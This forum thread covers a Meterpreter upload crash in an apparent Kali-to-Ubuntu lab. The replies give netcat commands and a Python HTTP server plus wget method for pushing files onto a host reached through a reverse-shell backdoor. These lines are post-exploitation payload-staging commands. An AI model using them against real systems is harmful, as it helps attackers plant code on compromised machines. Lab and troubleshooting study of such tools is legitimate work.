I'm doing some experiments on two VMs, one running Kali and the other running Ubuntu. I have a problem with the "upload" command of Meterpreter. In particular, I already open a reverse tcp session using the linux/x86/meterpreter_reverse_tcp payload, handling it using the exploit/multi/handler exploit.

When the session is on, I tried to upload a file.sh using the "upload" command:

meterpreter > upload kali/path/to/file.sh ubuntu/destination/path

what I receive on the Kali VM is:

[*] uploading  : kali/path/to/file.sh -> ubuntu/destination/path
[*] - Meterpreter session 3 closed.  Reason: Died

On the the ubuntu VM I receive a Segmentation Fault error. All the other meterpreter commands work (even the download one). Can anyone help me understanding the problem?

  • Not sure about the seg fault but are you dead set on using the upload command? – Noob123 May 22 '18 at 22:17
  • My aim is to upload some files on the ubuntu machine after opening a backdoor using meterpreter. I'm not able to use the upload command as it ends up in a segmentation fault – damaar May 23 '18 at 10:22

why not use Meterpreter to set up a netcat listener that saves the received data as a file?

ubuntu: nc -l 4444 > file.sh (listen for data, save to file.sh)

kali: cat file.sh | nc [ubuntu ip] 4444 (send file.sh to specified port)

To go the opposite direction, do:

kali: cat file.sh | nc -lp 4444 (listen for connection, serve out file.sh)

ubuntu: nc [kali ip] 4444 > file.sh (connect to port, save received data as file.sh)

| improve this answer | |
  • That's a good point. Unfortunately I already tried this solution, after setting up the listener on the ubuntu machine (using the shell command of Meterpreter), when I send the file using the Kali client I receive a "connection refused" error (I even tried scp having the same result). I am sure the VMs can ping each other. The strange thing is that the opposite direction works (to move file from the Kali machine to the Ubuntu one I usually use scp). – damaar May 23 '18 at 10:20
  • answer updated. – Angelo Schilling May 24 '18 at 17:52
  • Thank you Angelo, what you wrote did the job. I also found another way: I used the python module SimpleHTTPServer. In particular, I run on kali (in the directory where the .sh file was) # python -m SimpleHTTPServer 80. In the shell opened using meterpreter I just made wget requests ( $ wget kali_ip/file.sh ) and everything work also in this way. – damaar May 25 '18 at 17:38

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.